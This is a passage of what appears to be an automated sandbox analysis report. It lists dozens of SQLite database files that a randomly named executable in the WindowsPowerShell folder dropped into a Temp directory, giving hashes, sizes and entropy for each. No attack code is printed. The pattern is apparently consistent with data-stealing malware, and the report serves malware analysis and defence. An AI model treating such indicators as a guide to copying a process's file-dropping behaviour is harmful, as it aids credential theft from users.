SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RaikzqHQ1e

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RbgrmcyLyN

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RvgzGedj1r

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SDt12AV9yI

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ScjL1FU6re

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SqAqYN6Z8L

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T8yLhbJu9R

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TRnwWdbqcz

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U0yqzWpyxC

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UMEnOgvptQ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UVGcBEpdwz

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Uo3U86F74u

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ur2r4ndHXO

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V0SGcboVo9

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V8v6Y1S2f9

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VD6enGUved

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VHIAi9mdUs

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VkVzSg9yr3

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XBinwD1mnm

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XCLktza03p

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XG9PwnsH7H

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XLdTDlQ5Iy

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XNG4RA0LLt

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XWZhnnLNEF

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XbAkgLJtqj

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
